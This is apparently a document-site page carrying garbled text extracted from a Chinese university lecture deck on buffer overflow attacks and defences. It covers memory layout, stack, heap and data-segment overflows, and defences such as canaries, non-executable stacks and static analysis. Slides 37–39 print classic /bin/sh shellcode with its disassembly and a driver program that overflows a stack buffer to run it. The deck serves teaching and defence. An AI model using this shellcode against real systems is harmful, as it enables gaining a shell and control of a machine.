ImageVerifierCode 换一换
格式:PPTX , 页数:65 ,大小:334.53KB ,
资源ID:24187414      下载积分:15 文币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.wenkunet.com/d-24187414.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录   微博登录 

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(计算机系统安全缓冲区溢出.pptx)为本站会员(知识海洋)主动上传,文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知文库网(发送邮件至13560552955@163.com或直接QQ联系客服),我们立即给予删除!

计算机系统安全缓冲区溢出.pptx

1、网络安全网络安全Network SecurityNetwork Security/10/2第1页第第7 7章章 计算机系统安全(缓冲区溢出)计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出概述 缓冲区溢出攻击原理缓冲区溢出攻击原理 缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术 /10/2第2页第第7 7章章 计算机系统安全(缓冲区溢出)计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出概述缓冲区溢出攻击原理缓冲区溢出攻击原理 缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术/10/2第3页缓冲溢出概述缓冲溢出概述l1.缓冲区定义缓冲区定义l连续一段存放空间。连续一段存放空间。l2.缓冲区溢出

2、定义缓冲区溢出定义l指写入缓冲区数据量超出该缓冲区能容纳最大程度,造指写入缓冲区数据量超出该缓冲区能容纳最大程度,造成溢出数据改写了与该缓冲区相邻原始数据情形。成溢出数据改写了与该缓冲区相邻原始数据情形。lBuffer overflow is the result of writing more data into a buffer than the buffer can hold./10/2第4页ExamplelConsider the following codeint main(void)char buffer4;strcpy(buffer,“AAA”);mainstackframe p

3、reviousstack framebuffer4High addressesLow addressesAAA0/10/2第5页Example(contd.)lNow we input 4+4+3 As instead of 4 As.int main(void)char buffer4;strcpy(buffer,“”);AAAAAAAAAAAAAAmainstackframe previousstack framebuffer4Higher addressesLower addresses?AAAAAAAAAAA0/10/2第6页缓冲溢出概述缓冲溢出概述(续)(续)l3.缓冲区溢出危害l利

4、用缓冲区溢出实现在当地或者远程系统上实现任意执行代码目标,从而深入到达对被攻击系统完全掌控;l利用缓冲区溢出进行DoS(Denial of Service)攻击;l利用缓冲区溢出破坏关键数据,使系统稳定性和有效性受到不一样程度影响;l实现蠕虫程序l1988 Robert T.Morris蠕虫利用UNIX 系统中In,the Morris Internet worm exploited buffer overflow vulnerability in fingerd server program on UNIX systems.l曾在造成大约26亿美元损失Code Red蠕虫及其变体就是利用了M

5、icrosoft IIS中缓冲区溢出进行攻击 l年Sapphire蠕虫和20Witty蠕虫也都利用了缓冲区溢出进行攻击。lIn 2004,the Witty worm takes advantage of a buffer overflow flaw in several Internet Security Systems(ISS)products./10/2第7页Source from CERT(Computer Emergency Response Team)CERT Advisories,http:/www.cert.org/advisories/缓冲区溢出相关软件安全隐患数目占整个软件

6、安全隐患数目标百分比缓冲区溢出相关软件安全隐患数目占整个软件安全隐患数目标百分比/10/2第8页缓冲溢出概述缓冲溢出概述(续)(续)l4.造成缓冲区溢出根本原因造成缓冲区溢出根本原因l代码在操作缓冲区时,没有有效地对缓冲区边界进行检代码在操作缓冲区时,没有有效地对缓冲区边界进行检验验,使得写入缓冲区数据量超出缓冲区能够容纳范围,使得写入缓冲区数据量超出缓冲区能够容纳范围,从而造成溢出数据改写了与该缓冲区相邻存放单元内容。从而造成溢出数据改写了与该缓冲区相邻存放单元内容。lC and C+are the most common languages to create buffer overflo

7、ws.lC语言中许多字符串处理函数如:语言中许多字符串处理函数如:Strcpy、Strcat、Gets、Sprintf等都没有对数组越界加以检测和限制。等都没有对数组越界加以检测和限制。/10/2第9页缓冲溢出概述缓冲溢出概述(续)(续)lMicrosoftWindows,Linux/Unix,AppleMacintosh等主流操作系统无一例外存在缓冲区等主流操作系统无一例外存在缓冲区溢出问题。溢出问题。l存在缓冲区溢出问题应用程序也广泛存在,包括存在缓冲区溢出问题应用程序也广泛存在,包括数据库系统比如数据库系统比如MicrosoftSQLServer,Oracle9i,网络服务,网络服务(M

8、icrosoftIIS),网络协议实,网络协议实现现(比如比如OpenSSL),多媒体软件,多媒体软件(AppleQuickTime)等等等等/10/2第10页缓冲溢出概述缓冲溢出概述(续)(续)l缓冲区溢出能够成为攻击者实现攻击目标伎俩,缓冲区溢出能够成为攻击者实现攻击目标伎俩,不过单纯地溢出缓冲区并不能到达攻击目标。不过单纯地溢出缓冲区并不能到达攻击目标。l在绝大多数情况下,一旦程序中发生缓冲区溢出,系统在绝大多数情况下,一旦程序中发生缓冲区溢出,系统会马上中止程序并汇报会马上中止程序并汇报“fault segment”。比如缓冲区。比如缓冲区溢出,将使返回地址改写为一个非法、不存在地址,

9、从溢出,将使返回地址改写为一个非法、不存在地址,从而出现而出现core dump错误,不能到达攻击目标。错误,不能到达攻击目标。l只有对缓冲区溢出只有对缓冲区溢出“适当地适当地”加以利用,攻击者才加以利用,攻击者才能经过其实现攻击目标。能经过其实现攻击目标。/10/2第11页第第7 7章章 计算机系统安全(缓冲区溢出)计算机系统安全(缓冲区溢出)缓冲区溢出概述缓冲区溢出概述 缓冲区溢出攻击原理缓冲区溢出攻击原理缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术/10/2第12页缓冲溢出攻击原理缓冲溢出攻击原理l1.缓冲区溢出攻击模式缓冲区溢出攻击模式Attacked System溢出缓冲区溢出缓冲区

10、重定向到攻击程序重定向到攻击程序任意地执行程序任意地执行程序执行攻击程序执行攻击程序Attacker注入恶意数据注入恶意数据取得控制权取得控制权找到可利用缓冲区找到可利用缓冲区溢出隐患溢出隐患恶意数据能够经过恶意数据能够经过命令行参数、命令行参数、环境变量、环境变量、输入文件或者输入文件或者网络数据注入网络数据注入/10/2第13页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置缓冲区溢出可能发生位置l预备知识点预备知识点l进程在内存中布局进程在内存中布局/10/2第14页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l代码段代码段/文本段文本段l用于放置程序可执行代码用

11、于放置程序可执行代码(机器码机器码)。l数据段数据段l用于放置已初始化全局变量和已初始化用于放置已初始化全局变量和已初始化局部静态变量。局部静态变量。lBSS(Block Started by Symbol)段段l用于放置未初始化全局变量和未初始化用于放置未初始化全局变量和未初始化局部静态变量。局部静态变量。l堆堆l用于动态分配内存。用于动态分配内存。l堆栈段堆栈段l用于存放函数参数,返回地址,调用函用于存放函数参数,返回地址,调用函数栈基址以及局部非静态变量。数栈基址以及局部非静态变量。l进程环境变量和参数进程环境变量和参数.text.data.bssheapunusedstackenvLo

12、w addressHigh addressLinux/Intel IA-32 architecture/10/2第15页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLinux/Intel IA-32 architecture/10/2第16页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)

13、l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLinux/Intel IA-32 architecture/10/2第17页被调函数堆栈布局被调函数堆栈布局l堆栈采取后进先出堆栈采取后进先出(LIFO)方式管理数据,这种方方式管理数据,这种方式是实现函数嵌套调用关键。式是实现函数嵌套调用关键。Previous stack framesFunction argumentsReturn addressPrevious frame pointerLocal

14、variablesHigh addressLow address从右到左次序从右到左次序指令存放器指令存放器(EIP)基址存放器基址存放器(EBP)局部非静态变量局部非静态变量/10/2第18页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于堆栈缓冲区溢出基于堆栈缓冲区溢出void function(char*str)char buffer4;strcpy(buffer,str);void main(int argc,char*argv)char large_string8;int i;for(i=0;i8;i+)large_bufferi=Afunction(large_string);/

15、10/2第19页Example(contd.)Large_string上一个栈帧地址上一个栈帧地址返回地址返回地址 argv内存低端内存低端内存高端内存高端argcESPmain函数栈帧函数栈帧void main(int argc,char*argv)i/10/2第20页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于堆栈缓冲区溢出基于堆栈缓冲区溢出void function(char*str)char buffer4;strcpy(buffer,str);void main(int argc,char*argv)char large_string8;int i;for(i=0;iBB.BB

16、B(total15Bs)l产生溢出输入产生溢出输入lPrompt:BB.BBB(total40Bs)(a)heap layout without overflow0030035000300360003003700030034000300380BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB0AAAAAA0(b)heap layout with overflowBBBBBBBBBBBBBBB0AAAAAAAAAAAAAAA0/10/2第29页基于堆缓冲区溢出攻击举例基于堆缓冲区溢出攻击举例l1996年年BSDI crontab被发觉存在基于堆缓冲区溢被发觉存在基于

17、堆缓冲区溢出隐患,攻击者能够经过输入一个长文件名溢出出隐患,攻击者能够经过输入一个长文件名溢出在堆上缓冲区,溢出数据改写区域是保留有用户在堆上缓冲区,溢出数据改写区域是保留有用户名、密码、名、密码、uid,gid等信息区域。等信息区域。/10/2第30页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLinux/Intel IA-32 archite

18、cture/10/2第31页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于数据段缓冲区溢出基于数据段缓冲区溢出void Overflow_Data(char*input)static char buf4=”CCCC”;int i;for(i=0;i 12;i+)bufi=A;/10/2第32页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l2.缓冲区溢出可能发生位置(续)缓冲区溢出可能发生位置(续)l堆栈堆栈(stack)l堆堆(heap)l数据段数据段(data)lBSS段段.text.data.bssheapunusedstackenvLow addressHigh addressLin

19、ux/Intel IA-32 architecture/10/2第33页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l基于基于BSS段缓冲区溢出段缓冲区溢出void Overflow_BSS(char*input)static char buf4;int i;for(i=0;i 12;i+)bufi=A;/10/2第34页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l3.常见溢出缓冲区路径常见溢出缓冲区路径l利用利用C标准函数库标准函数库l常见有常见有strcpy、strcat、sprintf、gets “Mudge”.How to Write Buffer Overflows.http:/

20、A.Henry MCP+I et al.Buffer Overflow Attacks.CyberGuard Corp.C.Cowan et al.Buffer overflows:Attacks and defenses for the vulnerability of the decade.Proceedings of the DARPA Information Survivability Conference and Expo,1999./10/2第35页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l利用数组下标越界操作lOff-by-one缓冲区溢出l利用数组最大下标与数组长度差异产生

21、。l比如l1998年10月BugTraq公布出Linux libc中realpath函数存在single-byte缓冲区溢出隐患,攻击者能够利用它取得root权限。参见O.Kirch.The poisoned nul byte,post to the bugtraq mailing list,October 1998.l12月OpenBSD安全组公布ftpd存在类似安全隐患。参见OpenBSD developers,single-byte buffer overflow vulnerability in ftpd,December.void BadCode(char*str)char buff

22、er512;for(i=0;i=512;i+)bufferi=stri;/10/2第36页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l利用有符号整数与无符号整数转换利用有符号整数与无符号整数转换 void BadCode(char*input)short len;char buf64;len=strlen(input);if(len MAX_BUF)strcpy(buf,input);/10/2第37页缓冲溢出攻击原理(续)缓冲溢出攻击原理(续)l4.恶意代码(注入)恶意代码(注入)比如为实现:比如为实现:“exec(/bin/sh)”char shellcode =”xebx1fx5ex8

23、9x76x08x31xc0”x88x46x07x89x46x0cxb0 x0b”x89xf3x8dx4ex08x8dx56x0c”xcdx80 x31xdbx89xd8x40 xcd”x80 xe8xdcxffxffxff/bin/sh”;char large_string 128;void main()char buffer 96;int i;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i 32;i+)*(long_ptr+i)=(int)buffer;for(i=0;istrlen(shellcode);i+)large_strin

24、g i =shellcode i ;strcpy(buffer,large_string);/10/2第38页The secret of the shellcodechar shellcode =/*main:*/xebx1f /*jmp$0 x1f or jmp callz */*start:*/x5e /*popl%esi */x89x76x08 /*movl%esi,$0 x08(%esi)*/x31xc0 /*xorl%eax,%eax*/x88x46x07 /*movb%al,0 x07(%esi)*/x89x46x0c /*movl%eax,$0 x0c(%esi)*/xb0 x0

25、b /*movb$0 x0b,%al */x89xf3 /*movl%esi,%ebx */x8dx4ex08 /*leal 0 x08(%esi),%ecx*/x8dx56x0c /*leal 0 x0c(%esi),%edx*/xcdx80 /*int$0 x80 */x31xdb /*xorl%ebx,%ebx*/x89xd8 /*movl%ebx,%eax */x40 /*inc%eax*/xcdx80 /*int$0 x80 */*callz:*/xe8xdcxffxffxff /*call start */*DATA*/bin/sh;132/10/2第39页基于堆栈缓冲区溢出攻击举

26、例基于堆栈缓冲区溢出攻击举例char shellcode =”xebx1fx5ex89x76x08x31xc0”x88x46x07x89x46x0cxb0 x0b”x89xf3x8dx4ex08x8dx56x0c”xcdx80 x31xdbx89xd8x40 xcd”x80 xe8xdcxffxffxff/bin/sh”;char large_string 128;void main()char buffer 96;int i;long*long_ptr;long_ptr=(long*)large_string;for(i=0;i 32;i+)*(long_ptr+i)=(int)buffer

27、;for(i=0;istrlen(shellcode);i+)large_string i =shellcode i ;strcpy(buffer,large_string);for(i=0;istrncpylstrcat-strncatlgets-fgetsl缺点缺点l使用不妥依然会造成缓冲区溢出问题。使用不妥依然会造成缓冲区溢出问题。比如比如MicrosoftVisualStudio提供提供C标准函数库标准函数库strsafe;/10/2第48页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修

28、改编译器修改编译器l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器结构方面改进/10/2第49页基于软件防御技术(续)基于软件防御技术(续)l修改编译器修改编译器l增强边界检验能力增强边界检验能力C/C+编译器编译器l比如针对比如针对GNU C编译器扩展数组和指针边界检验。编译器扩展数组和指针边界检验。Windows Visual C+.NETGS 选项也提供动态检测缓冲区溢出能力。选项也提供动态检测缓冲区溢出能力。l返回地址完整性保护返回地址完整性保护l将堆栈上返回地址备份到另一个内存空间;在函数执行返回将堆栈

29、上返回地址备份到另一个内存空间;在函数执行返回指令前,将备份返回地址重新写回堆栈。指令前,将备份返回地址重新写回堆栈。l许多高性能超标量微处理器含有一个返回地址栈,用于指令许多高性能超标量微处理器含有一个返回地址栈,用于指令分支预测。返回地址栈保留了返回地址备份,可用于返回地分支预测。返回地址栈保留了返回地址备份,可用于返回地址完整性保护址完整性保护 l缺点缺点l性能代价性能代价l检验方法仍不完善检验方法仍不完善 /10/2第50页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器

30、l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器结构方面改进/10/2第51页基于软件防御技术(续)基于软件防御技术(续)l内核补丁内核补丁l将堆栈标志为不可执行来阻止缓冲区溢出攻击;将堆栈标志为不可执行来阻止缓冲区溢出攻击;l将堆或者数据段标志为不可执行。将堆或者数据段标志为不可执行。l比如比如Linux内核补丁内核补丁Openwall、RSX、kNoX、ExecShield和和PaX等实现了不可执行堆栈,而且等实现了不可执行堆栈,而且RSX、kNoX、ExecShield、PaX还支持不可执行堆。另外,为还支

31、持不可执行堆。另外,为了抵制了抵制return-to-libc这类攻击,这类攻击,PaX增加了一个特征,增加了一个特征,将函数库映射到随机内存空间将函数库映射到随机内存空间l缺点:缺点:对于一些需要堆栈对于一些需要堆栈/堆堆/数据段为可执行状态应用数据段为可执行状态应用程序不适当;需要重新编译原来程序,假如没有源代码,程序不适当;需要重新编译原来程序,假如没有源代码,就不能取得这种保护。就不能取得这种保护。/10/2第52页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器l内核补

32、丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器结构方面改进/10/2第53页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法静态分析方法l字典检验法字典检验法l遍历源程序查找其中使用到不安全库函数和系统调用。遍历源程序查找其中使用到不安全库函数和系统调用。l比如静态分析工具比如静态分析工具ITS4、RATS(Rough Auditing Tool for Security)等。其中等。其中RATS提供对提供对C,C+,Perl,PHP以以及及Python语言扫描检测。语言扫描检测。l缺点:误报率很高,需要配合

33、大量人工检验工作。缺点:误报率很高,需要配合大量人工检验工作。/10/2第54页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法(续)l程序注解法 l包含缓冲区大小,指针是否可认为空,输入有效约定等等。l例如静态分析工具LCLINT、SPLINT(Secure Programming Lint)。l缺点:依赖注释质量/10/2第55页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法(续)静态分析方法(续)l整数分析法整数分析法l将字符串形式化为一对整数,表明字符串长度将字符串形式化为一对整数,表明字符串长度(以字节以字节数为单位数为单位)以及当前已经使用缓冲区字节数。经过这

34、么以及当前已经使用缓冲区字节数。经过这么形式化处理,将缓冲区溢出检测转化为整数计算。形式化处理,将缓冲区溢出检测转化为整数计算。l比如静态分析工具比如静态分析工具BOON(Buffer Overrun detectiON)。l缺点:仅检验缺点:仅检验C中进行字符串操作标准库函数。检验范中进行字符串操作标准库函数。检验范围很有限。围很有限。/10/2第56页基于软件防御技术(续)基于软件防御技术(续)l静态分析方法(续)静态分析方法(续)l控制流程分析法控制流程分析法l将源程序中每个函数抽象成语法树,然后再把语法树转将源程序中每个函数抽象成语法树,然后再把语法树转换为调用图换为调用图/控制流程图

35、来检验函数参数和缓冲区范围。控制流程图来检验函数参数和缓冲区范围。l比如静态分析工具比如静态分析工具ARCHER(ARrayCHeckER)、UNO、PREfast和和Coverity等。等。l缺点:对于运行时才会显露问题无法进行分析缺点:对于运行时才会显露问题无法进行分析;存在;存在误报可能。误报可能。/10/2第57页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器

36、结构方面改进处理器结构方面改进/10/2第58页基于软件防御技术(续)基于软件防御技术(续)l动态检测方法动态检测方法lCanary-based检测方法检测方法l将将canary(一个检测值一个检测值)放在缓冲区和需要保护数据之间,放在缓冲区和需要保护数据之间,而且假设假如从缓冲区溢出数据改写了被保护数据,检而且假设假如从缓冲区溢出数据改写了被保护数据,检测值也必定被改写。测值也必定被改写。l比如动态检测工具比如动态检测工具StackGuard、StackGhost、ProPolice、PointGuard等。等。l缺点:多少工具经过修改编译器实现检测功效,需要重缺点:多少工具经过修改编译器实

37、现检测功效,需要重新编译程序;这种方法无法检测能过绕过检测值缓冲区新编译程序;这种方法无法检测能过绕过检测值缓冲区溢出攻击。溢出攻击。protected Datacanary.buffer/10/2第59页基于软件防御技术(续)基于软件防御技术(续)l动态检测方法(续)动态检测方法(续)l输入检测方法输入检测方法l向运行程序提供不一样输入,检验在这些输入条件下程向运行程序提供不一样输入,检验在这些输入条件下程序是否出现缓冲区溢出问题。不但能检测缓冲区溢出问序是否出现缓冲区溢出问题。不但能检测缓冲区溢出问题,还能够检测其它内存越界问题。题,还能够检测其它内存越界问题。l采取输入检测方法工含有采取

38、输入检测方法工含有Purify、Fuzz和和FIST(FaultInjectionSecurityTool)。l缺点:系统性能显著降低。输入检测方法检测效果取决缺点:系统性能显著降低。输入检测方法检测效果取决于输入能否激发缓冲区溢出等安全问题出现。于输入能否激发缓冲区溢出等安全问题出现。/10/2第60页缓冲区溢出攻击防御技术缓冲区溢出攻击防御技术l基于软件防御技术基于软件防御技术l类型安全编程语言类型安全编程语言l相对安全函数库相对安全函数库l修改编译器修改编译器l内核补丁内核补丁l静态分析方法静态分析方法l动态检测方法动态检测方法l基于硬件防御技术基于硬件防御技术l处理器结构方面改进处理器

39、结构方面改进/10/2第61页基于硬件防御技术基于硬件防御技术l64位处理器支持位处理器支持l Intel/AMD 64位处理器引入称为位处理器引入称为NX(No Execute)或者或者AVP(Advanced Virus Protection)新特征,将以前新特征,将以前CPU合合为一个状态存在为一个状态存在“数据页只读数据页只读”和和“数据页可执行数据页可执行”分分成两个独立状态。成两个独立状态。lELF64 SystemV ABI经过存放器传递函数参数而不再放经过存放器传递函数参数而不再放置在堆栈上,使得置在堆栈上,使得64位处理器不但能够抵制需要注入攻位处理器不但能够抵制需要注入攻击

40、代码缓冲区溢出攻击还能够抵制击代码缓冲区溢出攻击还能够抵制return-to-libc这类攻这类攻击。击。l缺点:无法抵制缺点:无法抵制“borrowed code chunks”这类攻击。可这类攻击。可参见参见Sebastian Krahmer.X86-64 buffer overflow exploits and the borrowed code chunks exploitation technique.http:/www.suse.de/krahmer/no-nx.pdf,Sep./10/2第62页缓冲区溢出攻击防御技术展望缓冲区溢出攻击防御技术展望lSoftware-based s

41、olutions in conjunction with existing hardware-based techniques.lPractical security polices to implement safe software engineering.lComprehensive tools or methodologies should be available to help developers design and implement software in a security conscious manner./10/2第63页教材与参考书教材与参考书l教材:教材:l李毅

42、超李毅超曹跃,网络与系统攻击技术曹跃,网络与系统攻击技术电子科大出版社电子科大出版社l周世杰周世杰陈伟陈伟钟婷,网络与系统防御技术钟婷,网络与系统防御技术电子科大出版社电子科大出版社 l参考书参考书l阙喜戎阙喜戎 等等 编著,信息安全原理及应用,清华大学出版社编著,信息安全原理及应用,清华大学出版社lChristopher M.King,Curitis E.Dalton,T.Ertem Osmanoglu(常晓波(常晓波等译)等译).安全体系结构设计、布署与操作,清华大学出版社,安全体系结构设计、布署与操作,清华大学出版社,(Christopher M.King,et al,Security

43、Architecture,design,deployment&Operations)lWilliam Stallings,密码编码学与网络安全原理与实践(第三版),密码编码学与网络安全原理与实践(第三版),电子工业出版社,电子工业出版社,lStephen Northcutt,深入剖析网络边界安全,机械工业出版社,深入剖析网络边界安全,机械工业出版社,l冯登国,计算机通信网络安全,冯登国,计算机通信网络安全,lBruce Schneier,Applied Cryptography,Protocols,algorithms,and source code in C(2nd Edition)(应用密码学应用密码学 协议、算法与协议、算法与C源程序,源程序,吴世忠、祝世雄、张文政等译吴世忠、祝世雄、张文政等译)l蔡皖东,网络与信息安全,西北工业大学出版社,蔡皖东,网络与信息安全,西北工业大学出版社,/10/2第64页Any Question?Q&A/10/2第65页

本站链接:文库   一言   我酷   合作


客服QQ:2549714901微博号:文库网官方知乎号:文库网

经营许可证编号: 粤ICP备2021046453号世界地图

文库网官网©版权所有2025营业执照举报